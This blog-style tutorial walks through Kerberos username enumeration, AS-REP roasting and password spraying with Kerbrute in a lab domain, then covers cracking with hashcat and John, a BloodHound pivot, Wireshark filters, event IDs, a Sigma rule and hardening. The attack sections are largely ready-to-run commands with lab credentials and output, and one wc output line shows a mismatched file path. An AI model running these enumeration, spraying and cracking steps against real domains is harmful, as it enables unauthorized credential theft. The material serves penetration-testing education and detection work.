Username Enumeration and Validation with Kerbrute: Abusing Kerberos Pre-Authentication

By Debraj Basak·Jun 26, 2026·18 min readActive Directory Exploitation

You have network access to a target subnet and a domain controller answering on port 88. No credentials. No foothold. Before you touch a single password, you need a list of accounts that actually exist, because spraying a wordlist of 50,000 invented usernames is loud, slow, and pointless. Kerberos hands you that list for free. The protocol that was designed to keep passwords off the wire will happily tell an unauthenticated stranger exactly which accounts are real, and it does so without ever touching the lockout counter.

Objective: Understand how the Kerberos AS-REQ exchange leaks valid account existence through differential KDC error codes, how Kerbrute weaponizes that oracle to enumerate usernames and harvest AS-REP hashes without domain credentials, how to pivot from a confirmed username list into credential access, and how a defender detects every step on the domain controller.


1. Kerberos Authentication Primer

Kerberos is the default authentication protocol in Active Directory, and to abuse it you have to understand what each message is for. Three logical components live inside the Key Distribution Center (KDC), which runs on every domain controller:

ComponentRole
Authentication Service (AS)Issues the initial Ticket Granting Ticket (TGT) after the client proves it knows its key
Ticket Granting Service (TGS)Exchanges a valid TGT for service tickets to specific resources
KDC databaseThe AD database (ntds.dit) holding every account’s long-term key derived from its password

The full ticket flow is four messages:

  1. AS-REQ – client asks the AS for a TGT.
  2. AS-REP – AS returns the TGT (encrypted with the krbtgt key) plus a session key (encrypted with the client’s key).
  3. TGS-REQ – client presents the TGT and asks for a service ticket to a named Service Principal Name (SPN).
  4. TGS-REP – TGS returns the service ticket, encrypted with the target service account’s key.

The piece that matters for enumeration is pre-authentication, which lives inside the AS-REQ. Without it, anyone could send an AS-REQ for any username and receive an AS-REP containing material encrypted with that user’s password-derived key, then crack it offline at leisure. To stop that, Kerberos v5 requires the client to prove it knows the password before the KDC issues anything.

The proof is a timestamp: the client takes the current time, encrypts it with its secret key (the key derived from the user password using DES, RC4/arcfour-hmac-md5, AES128, or AES256), and ships that PA-ENC-TIMESTAMP blob inside the AS-REQ alongside the username. The KDC decrypts it with the stored key for that account. If the plaintext is a sane timestamp, the password is correct and a TGT is issued. If decryption fails, pre-auth failed.

This single design decision is the source of everything that follows. The KDC must answer differently depending on whether the account exists, whether pre-auth was required, and whether the supplied key was correct. Those differences are an oracle.

Kerberos listens on port 88 over both UDP and TCP. A username validation costs a single UDP frame to the KDC, which is why this is so fast.


2. The Enumeration Oracle: KDC Error Code Differentials

Send an AS-REQ with no pre-auth data and a username, and the KDC’s reply tells you the account’s state with surgical precision. The error codes are defined in RFC 4120 and surface in Windows Event logs as hex values:

KDC Error (RFC 4120 name)Hex CodeWhat it tells the attacker
KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN0x6Username does not exist in the domain
KRB5KDC_ERR_PREAUTH_REQUIRED0x19Username is valid, pre-authentication is required
KDC_ERR_PREAUTH_FAILED0x18Valid user, wrong password supplied
KDC_ERR_CLIENT_REVOKED0x12Account is disabled, locked, or expired
KDC_ERR_KEY_EXPIRED(key expired)Valid user, password expired

Walk through the logic an attacker exploits:

  • Send an AS-REQ for nonexistent_user. The KDC has no account record, so it returns 0x6 (PRINCIPAL_UNKNOWN). Cross that name off the list.
  • Send an AS-REQ for jsmith with no pre-auth blob. The account exists and requires pre-auth, so the KDC refuses to issue a ticket and returns 0x19 (PREAUTH_REQUIRED). That 0x19 is the confirmation: the account is real. You never had to know the password.
  • Send an AS-REQ for svc_backup, an account where pre-auth is disabled. The KDC skips the timestamp check entirely and returns a full AS-REP containing an encrypted blob signed with the account’s key. That blob is crackable offline. This is the AS-REP roasting primitive falling straight into your lap.

The reason this is so attractive operationally: the AS-REQ enumeration method does not validate credentials, so it does not increment badPwdCount, which means it does not lock accounts. You can churn through hundreds of thousands of candidate names and never trip a single lockout. And because failed pre-auth here is a Kerberos event, not an NTLM logon, it does not generate the classic Event ID 4625 (“An account failed to log on”) that blue teams traditionally watch.

The differential between 0x6 and 0x19 is the whole game. One unauthenticated request per candidate name converts a wordlist into a validated account roster.


Flowchart showing how a single unauthenticated AS-REQ produces four distinct KDC error codes that reveal account existence, pre-auth status, and roastability
The KDC’s differential error responses turn an unauthenticated AS-REQ into a precise account-state oracle with no credential required.

3. Lab Environment Setup

Build this in isolation. Three machines on a host-only 192.168.56.0/24 network so nothing leaks.

ComponentSpec
Domain ControllerWindows Server 2022 Evaluation, domain corplab.local, 192.168.56.10 (hostname DC01)
WorkstationWindows 10, domain-joined, 192.168.56.20
AttackerKali Linux 2024+, 192.168.56.100
Vulnerable accountssvc_backup (pre-auth disabled), jsmith (password Summer2024!), plus noise accounts
Lockout policyThreshold 5 attempts (so --safe actually matters)

After promoting DC01 to a domain controller for corplab.local, create the intentionally weak accounts. Run this in an elevated PowerShell on the DC.

# Create a normal user with a weak, sprayable password
New-ADUser -Name "John Smith" -SamAccountName jsmith `
  -UserPrincipalName jsmith@corplab.local `
  -AccountPassword (ConvertTo-SecureString "Summer2024!" -AsPlainText -Force) `
  -Enabled $true

# Create a service account and DISABLE Kerberos pre-authentication on it
New-ADUser -Name "svc_backup" -SamAccountName svc_backup `
  -UserPrincipalName svc_backup@corplab.local `
  -Path "OU=ServiceAccounts,DC=corplab,DC=local" `
  -AccountPassword (ConvertTo-SecureString "Pa55w0rd!" -AsPlainText -Force) `
  -Enabled $true
Set-ADAccountControl -Identity svc_backup -DoesNotRequirePreAuth $true

# Seed 10 noise accounts so enumeration has signal and noise
1..10 | ForEach-Object {
  New-ADUser -Name "noise$_" -SamAccountName "noise$_" `
    -AccountPassword (ConvertTo-SecureString "N0ise$_!extra" -AsPlainText -Force) `
    -Enabled $true
}
# (no output on success; verify below)
PS C:\> Get-ADUser svc_backup -Properties DoesNotRequirePreAuth | `
        Select Name, DoesNotRequirePreAuth

Name        DoesNotRequirePreAuth
----        ---------------------
svc_backup                   True

Setting DoesNotRequirePreAuth $true flips the DONT_REQ_PREAUTH bit (0x400000) in the account’s userAccountControl attribute. That single bit is what turns svc_backup from a normal account into an AS-REP roasting target. Audit your domain for it any time:

Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties DoesNotRequirePreAuth |
  Select-Object SamAccountName, DoesNotRequirePreAuth
SamAccountName DoesNotRequirePreAuth
-------------- ---------------------
svc_backup                      True

Finally, set a lockout threshold so the password-spray section teaches real lockout awareness:

Set-ADDefaultDomainPasswordPolicy -Identity corplab.local `
  -LockoutThreshold 5 -LockoutDuration 00:15:00 -LockoutObservationWindow 00:15:00
# (no output on success)

4. Kerbrute: Installation, Architecture, and Modes

Kerbrute is a Go tool written by Ronnie Flathers (@ropnop). It drives raw AS-REQ messages through the gokrb5 library, talking directly to the KDC on port 88 instead of routing username checks through slow SMB or LDAP. That direct path is what makes it fast and what keeps it off the NTLM logon-failure radar.

Grab a precompiled binary or build from source:

# Precompiled (fastest path)
wget https://github.com/ropnop/kerbrute/releases/latest/download/kerbrute_linux_amd64 -O kerbrute
chmod +x kerbrute
./kerbrute --version
Version: v1.0.3 (9cfb81e) - 06/30/24
# Or build from source if you want to read/modify it
git clone https://github.com/ropnop/kerbrute.git
cd kerbrute
make all
ls dist/
kerbrute_darwin_amd64   kerbrute_linux_386     kerbrute_windows_amd64.exe
kerbrute_linux_amd64    kerbrute_linux_arm64

Kerbrute exposes four sub-commands. Pick the one that matches your stage in the kill chain.

Sub-commandPurposeTouches lockout?
userenumEnumerate valid usernames via AS-REQ error differentialsNo
passwordsprayTest one password against many usersYes
bruteuserTest a wordlist against one userYes
bruteforceTest user:password combos from a file or stdinYes

Flags you will reach for repeatedly:

FlagPurpose
--dcTarget KDC / domain controller IP
-d / --domainFull domain name (corplab.local)
--hash-fileSave captured AS-REP hashes for pre-auth-disabled accounts
--downgradeForce RC4 (arcfour-hmac-md5) encryption downgrade
--safeAbort the run if any account is observed as locked
-tThread count (default 10)
-oWrite valid results to an output file

One warning that is not optional. userenum is safe against lockout because it validates nothing. passwordspray, bruteuser, and bruteforce submit real pre-auth attempts. Failed pre-auth counts as a failed logon and will lock accounts once you cross the threshold. Treat the active modes as live ammunition.


5. Hands-On: Username Enumeration

Enumeration first: confirm the KDC

Before firing names at it, prove the target is a domain controller exposing Kerberos and learn the domain name from the LDAP banner.

nmap -sV -p 88,389,445 192.168.56.10
Starting Nmap 7.94 ( https://nmap.org )
Nmap scan report for 192.168.56.10
Host is up (0.00042s latency).

PORT    STATE SERVICE       VERSION
88/tcp  open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-06-30 18:22:03Z)
389/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: corplab.local0., Site: Default-First-Site-Name)
445/tcp open  microsoft-ds?
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Port 88 open and labelled kerberos-sec, and the LDAP banner leaks Domain: corplab.local. That is everything Kerbrute needs: a --dc and a -d.

Build the candidate wordlist

A good enumeration run is only as good as the names you feed it. Start from SecLists, then layer in organization-specific naming conventions (firstname.lastname, finitial+lastname, and so on) gleaned from OSINT.

cp /usr/share/seclists/Usernames/Names/names.txt ~/lab/names.txt
wc -l ~/lab/names.txt
10177 /usr/share/seclists/Usernames/Names/names.txt
# Generate convention-based candidates: first.last and flast
python3 namegen.py --first first_names.txt --last last_names.txt \
  --format '{first}.{last},{f}{last}' > ~/lab/corp_users.txt
wc -l ~/lab/corp_users.txt
1500 /usr/share/seclists/Usernames/Names/names.txt

Run userenum

./kerbrute userenum \
  --dc 192.168.56.10 \
  -d corplab.local \
  -t 50 \
  --hash-file asrep_hashes.txt \
  -o valid_users.txt \
  ~/lab/corp_users.txt
    __             __               __
   / /_____  _____/ /_  _______  __/ /____
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/

Version: v1.0.3 (9cfb81e) - 06/30/24 - Ronnie Flathers @ropnop

2024/06/30 14:22:01 >  Using KDC(s):
2024/06/30 14:22:01 >    192.168.56.10:88

2024/06/30 14:22:01 >  [+] svc_backup has no pre auth required. Dumping hash to crack offline:
$krb5asrep$23$svc_backup@CORPLAB.LOCAL:a3f1c0d9e7b24f5a8c1d6e0f9b3a7c52$9e1f...c4d8
2024/06/30 14:22:01 >  [+] VALID USERNAME:   svc_backup@corplab.local
2024/06/30 14:22:01 >  [+] VALID USERNAME:   jsmith@corplab.local
2024/06/30 14:22:05 >  Done! Tested 1500 usernames (2 valid) in 3.521 seconds

Read that output carefully because it contains two distinct wins.

jsmith came back as a plain VALID USERNAME. Behind the scenes Kerbrute sent an AS-REQ, the KDC replied with 0x19 (PREAUTH_REQUIRED), and Kerbrute translated that into “this account exists.” That goes into valid_users.txt for the spray phase.

svc_backup did something more interesting. The KDC returned a full AS-REP instead of a pre-auth error, because the DONT_REQ_PREAUTH bit is set. Kerbrute recognized the account requires no pre-auth, extracted the encrypted blob, and dumped it as a $krb5asrep$23$ hash to asrep_hashes.txt. You enumerated a username and harvested a crackable credential in the same packet exchange.

Check the artifacts:

cat valid_users.txt && echo "---" && cat asrep_hashes.txt
svc_backup@corplab.local
jsmith@corplab.local
---
$krb5asrep$23$svc_backup@CORPLAB.LOCAL:a3f1c0d9e7b24f5a8c1d6e0f9b3a7c52$9e1f...c4d8

The 23 in the hash is the encryption type: RC4-HMAC (etype 23). That maps directly to a hashcat mode, which we get to shortly.


Flow diagram tracing Kerbrute userenum from wordlist input through AS-REQ exchanges to two output artifacts: a valid users list and a captured AS-REP hash file
A single userenum run splits the wordlist into confirmed accounts and immediately harvests crackable AS-REP hashes for pre-auth-disabled accounts.

6. Hands-On: Password Spraying

Enumeration first: know the lockout policy

Spraying blind into an unknown lockout policy is how red teams get fired. Before you submit a single real pre-auth attempt, learn the threshold. With no credentials you can sometimes read the policy via null/guest SMB; in this lab assume you confirmed a threshold of 5.

The math is simple and unforgiving. With a threshold of 5 and a 15-minute observation window, you get at most a handful of attempts per account before lockout. One password tested across the whole user list is one failed attempt per account, which is safe. Two passwords in quick succession is two. Never let your spray cadence approach the threshold inside the observation window.

Run passwordspray with a safety net

Use only the confirmed usernames from valid_users.txt, not the raw wordlist, and add --safe so the run aborts the instant any account is observed locked.

./kerbrute passwordspray \
  --dc 192.168.56.10 \
  -d corplab.local \
  --safe \
  valid_users.txt \
  'Summer2024!'
2024/06/30 14:30:01 >  Using KDC(s):
2024/06/30 14:30:01 >    192.168.56.10:88

2024/06/30 14:30:01 >  [+] VALID LOGIN:   jsmith@corplab.local:Summer2024!
2024/06/30 14:30:03 >  Done! Tested 2 logins (1 successes) in 1.992 seconds

jsmith:Summer2024! is now a confirmed credential. Here the spray submitted a real PA-ENC-TIMESTAMP. For jsmith the KDC decrypted it successfully and issued a TGT, which Kerbrute reports as VALID LOGIN. For svc_backup the wrong password would have produced 0x18 (PREAUTH_FAILED) and incremented badPwdCount. That distinction is exactly what a defender hunts for, and we will weaponize it in detection.


7. Captured Hash Cracking: The AS-REP Roasting Pivot

The svc_backup hash from section 5 needs no spraying. It is an AS-REP blob encrypted with the account’s RC4 key, and you crack it offline with zero further interaction with the domain. This is AS-REP roasting, and DONT_REQ_PREAUTH is the precondition that made it possible.

Inspect the captured hash format first:

head -c 120 asrep_hashes.txt; echo
$krb5asrep$23$svc_backup@CORPLAB.LOCAL:a3f1c0d9e7b24f5a8c1d6e0f9b3a7c52$9e1f...

The $krb5asrep$23$ prefix is hashcat mode 18200 (Kerberos 5 AS-REP, etype 23). Throw a wordlist at it.

hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt -O
$krb5asrep$23$svc_backup@CORPLAB.LOCAL:a3f1c0d9e7b24f5a8c1d6e0f9b3a7c52$9e1f...c4d8:Pa55w0rd!

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 18200 (Kerberos 5, etype 23, AS-REP)
Hash.Target......: $krb5asrep$23$svc_backup@CORPLAB.LOCAL:a3f1c0d9...c4d8
Time.Started.....: Sun Jun 30 14:35:12 2024 (4 secs)
Recovered........: 1/1 (100.00%) Digests
Speed.#1.........:  1843.2 MH/s (5.21ms)

John the Ripper works equally well:

john --format=krb5asrep --wordlist=/usr/share/wordlists/rockyou.txt asrep_hashes.txt
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD5 HMAC-SHA1 ...])
Pa55w0rd!        ($krb5asrep$svc_backup@CORPLAB.LOCAL)
1g 0:00:00:02 DONE (2024-06-30 14:36) 0.4761g/s ...
Use the "--show" option to display all of the cracked passwords reliably

svc_backup:Pa55w0rd! recovered. The lesson the brief hammers, and the reason hardening matters: if svc_backup had used a genuinely strong password, this RC4 blob would be effectively uncrackable by wordlist. Disabling pre-auth is dangerous, but a long random password makes the resulting hash worthless to an attacker.

Validate and pivot

Confirm the harvested credential works over SMB before building anything on it. NetExec (the maintained successor to CrackMapExec) is the cleanest check.

nxc smb 192.168.56.10 -u jsmith -p 'Summer2024!' -d corplab.local
SMB  192.168.56.10  445  DC01  [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:corplab.local) (signing:True) (SMBv1:False)
SMB  192.168.56.10  445  DC01  [+] corplab.local\jsmith:Summer2024!

The [+] confirms a valid authenticated session. Now you have an authenticated foothold, which unlocks full directory enumeration. Feed it straight into BloodHound to map attack paths.

bloodhound-python -u jsmith -p 'Summer2024!' -d corplab.local \
  -dc 192.168.56.10 -c All
INFO: Found AD domain: corplab.local
INFO: Connecting to LDAP server: DC01.corplab.local
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 14 computers
INFO: Connecting to GC LDAP server: DC01.corplab.local
INFO: Found 28 users
INFO: Found 53 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Dumping data for domain corplab.local
INFO: Done in 00M 12S

You walked from zero credentials to a validated account, a cracked service hash, and a full graph of the domain. That is the entire point of starting with enumeration: every confirmed username compounds.


Illustration of a broken padlock with a glowing key emerging, symbolising offline AS-REP hash cracking
AS-REP roasting cracks credentials entirely offline – once the hash is captured, the domain controller is never contacted again.

8. Traffic Analysis

Understanding what Kerbrute puts on the wire makes both red-team OPSEC and blue-team detection concrete. Capture port 88 while a userenum run is live.

sudo tcpdump -i eth0 -w kerb_enum.pcap 'udp port 88 or tcp port 88'
tcpdump: listening on eth0, link-type EN10MB (Ethernet), snapshot length 262144 bytes
^C
2143 packets captured
2151 packets received by filter

Open the capture in Wireshark and isolate the KDC error responses. A Kerberos error message is msg_type 30 (KRB-ERROR), and the error_code field is the oracle.

# Wireshark display filter: all PRINCIPAL_UNKNOWN responses (invalid users)
kerberos.msg_type == 30 && kerberos.error_code == 6

A burst of error_code == 6 (KDC_ERR_C_PRINCIPAL_UNKNOWN) from one source IP, hundreds per second, is the unmistakable signature of username enumeration. Switch the filter to spot the valid hits:

# Valid accounts that required pre-auth (the 0x19 responses)
kerberos.msg_type == 30 && kerberos.error_code == 25
# Pre-auth-disabled accounts: a full AS-REP instead of an error
kerberos.msg_type == 11

msg_type 11 is AS-REP. Seeing a real AS-REP returned to an unauthenticated requester means an account with pre-auth disabled just leaked a roastable hash. On a Zeek sensor the same signal lives in kerberos.log, where error_msg == "PRINCIPAL_UNKNOWN" at high rate from one id.orig_h is the detection trigger.


9. Common Attacker Techniques

TechniqueDescription
AS-REQ username enumerationDifferentiate 0x6 vs 0x19 to validate accounts with no credentials and no lockout risk
AS-REP hash harvestingCapture full AS-REP for DONT_REQ_PREAUTH accounts during enumeration, crack offline
AS-REP roastingUse harvested $krb5asrep$23$ hashes with hashcat mode 18200 or John
Kerberos password sprayingSubmit one common password across the confirmed user list via passwordspray
Encryption downgradeForce RC4 with --downgrade so captured material uses the faster-cracking etype 23
Pivot to KerberoastingOnce authenticated, request service tickets for SPN accounts and crack those offline

The chain is what makes this dangerous, not any single step. Enumeration feeds spraying and roasting, which feed an authenticated foothold, which feeds BloodHound and Kerberoasting. Each link is cheap and quiet on its own.


10. Defensive Strategies and Detection

Detection here is entirely about the domain controller, because the attack never touches an endpoint until the pivot. The good news is the DC sees every AS-REQ. The catch is that the most useful event is off by default.

Relevant Event IDs (on the Domain Controller)

Event IDTriggerRelevance
4768TGT requested or granted (AS exchange)Fires on AS-REQ; watch a single source requesting TGTs for many distinct or non-existent users
4771Kerberos pre-authentication failedCarries the failure code, target username, client IP; the primary enumeration and spray signal
4625Generic NTLM logon failureDoes not fire for Kerberos enumeration; do not rely on it here

Event 4771 is disabled by default. Without it you are blind to the enumeration. Enable it through Group Policy:

Computer Configuration
  -> Windows Settings
    -> Security Settings
      -> Advanced Audit Policy Configuration
        -> Account Logon
          -> Audit Kerberos Authentication Service: Success and Failure

Failure-code correlation

The Failure Code field in Event 4771 is the same oracle the attacker reads, only from the defender’s side:

  • A cluster of 0x6 (KDC_ERR_C_PRINCIPAL_UNKNOWN) from one source IP in a short window is username enumeration. Real users do not generate PRINCIPAL_UNKNOWN storms.
  • A cluster of 0x18 (KDC_ERR_PREAUTH_FAILED) across many distinct TargetUserName values from one source is password spraying.

Sigma rule

title: Kerberos Username Enumeration via AS-REQ
status: experimental
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 4771
    FailureCode: '0x6'          # KDC_ERR_C_PRINCIPAL_UNKNOWN
  timeframe: 30s
  condition: selection | count() by IpAddress > 20
fields:
  - EventID
  - TargetUserName
  - IpAddress
  - IpPort
  - FailureCode
  - PreAuthType
falsepositives:
  - Misconfigured applications cycling usernames
level: medium
tags:
  - attack.discovery
  - attack.t1087.002

Pair it with a second rule keyed on FailureCode: '0x18' grouped by distinct TargetUserName per source IP to catch the spray phase.

Endpoint and network telemetry

There is no direct Kerberos AS-REQ event in Sysmon because the protocol is network-level. You can still catch the tool with Sysmon Event ID 3 (Network Connection) when a non-DC host opens connections to port 88 from an unexpected process. On the network side, a Zeek sensor alerting on kerberos.log where error_msg == "PRINCIPAL_UNKNOWN" exceeds a per-source rate threshold gives you protocol-level coverage independent of Windows auditing. The underlying ETW provider for 4768/4771 is Microsoft-Windows-Security-Auditing.

Hardening

MitigationDescription
Enable pre-auth everywhereClear DONT_REQ_PREAUTH on all accounts; audit with Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true}
Enable Kerberos auditingTurn on Audit Kerberos Authentication Service (Success + Failure) to generate 4771
Rate-limit port 88Segment and rate-limit KDC ports (around 10 requests/sec/source) at the firewall
Deploy canary accountsAny AS-REQ for a never-used honeypot username is a high-fidelity alert
Enforce strong passwordsLong random passwords make harvested AS-REP and Kerberoast hashes practically uncrackable
SIEM correlationAlert on >20 0x6 failures per source in 30s, and on 0x18 across many users per source

The single most important fix is closing the DONT_REQ_PREAUTH gap, because that is what converts harmless enumeration into a crackable credential. Pre-auth has been the default since Kerberos v5; any account missing it is a deliberate or accidental misconfiguration.


Illustration of a watchtower scanning a network, representing domain controller audit logging and SIEM alerting on Kerberos anomalies
Detection lives entirely on the domain controller – enabling Event 4771 and correlating error-code bursts is the only way to see username enumeration before it pivots to a spray.

11. Tools for Kerberos Attack Analysis

ToolDescriptionLink
KerbruteAS-REQ username enumeration, spray, brute via gokrb5github.com/ropnop/kerbrute
NetExecValidate credentials and enumerate SMB/LDAPgithub.com/Pennyw0rth/NetExec
HashcatCrack AS-REP hashes with mode 18200hashcat.net
John the RipperCrack krb5asrep hashesopenwall.com/john
BloodHoundMap AD attack paths post-footholdbloodhound.specterops.io
WiresharkDissect AS-REQ/AS-REP and KDC error codeswireshark.org
ZeekNetwork-level Kerberos logging (kerberos.log)zeek.org
nmapConfirm KDC, port 88, domain bannernmap.org

12. MITRE ATT&CK Mapping

TechniqueMITRE IDDetection
Account Discovery: Domain AccountT1087.002Event 4771 0x6 clusters per source IP; Zeek PRINCIPAL_UNKNOWN rate
Brute Force: Password SprayingT1110.003Event 4771 0x18 across many users from one source
Brute Force: Password GuessingT1110.001Repeated 0x18 against a single account; rising badPwdCount
Steal or Forge Kerberos Tickets: AS-REP RoastingT1558.004AS-REP (msg_type 11) returned to unauthenticated client; audit DONT_REQ_PREAUTH
Steal or Forge Kerberos Tickets: KerberoastingT1558.003Spike in 4769 TGS requests for RC4 service tickets post-foothold

Summary

  • Kerberos pre-authentication is an account-existence oracle: the KDC answers 0x6 for unknown users and 0x19 for valid ones, so anyone who can reach port 88 can enumerate the domain with no credentials.
  • userenum does not validate credentials, so it never increments badPwdCount and never locks accounts, and it bypasses Event 4625 entirely.
  • Accounts with the DONT_REQ_PREAUTH bit (0x400000) return a full AS-REP during enumeration, handing the attacker a $krb5asrep$23$ hash to crack offline with hashcat mode 18200.
  • The active modes (passwordspray, bruteuser, bruteforce) submit real pre-auth attempts and will lock accounts; use --safe and respect the lockout threshold.
  • Detect it on the DC with Event 4771 (enable it first via Advanced Audit Policy), correlating 0x6 bursts for enumeration and 0x18 spreads for spraying, and shut the door by clearing DONT_REQ_PREAUTH and enforcing strong passwords.

Related Tutorials

References

Get new drops in your inbox

Windows internals, exploit dev, and red-team write-ups - no spam, unsubscribe anytime.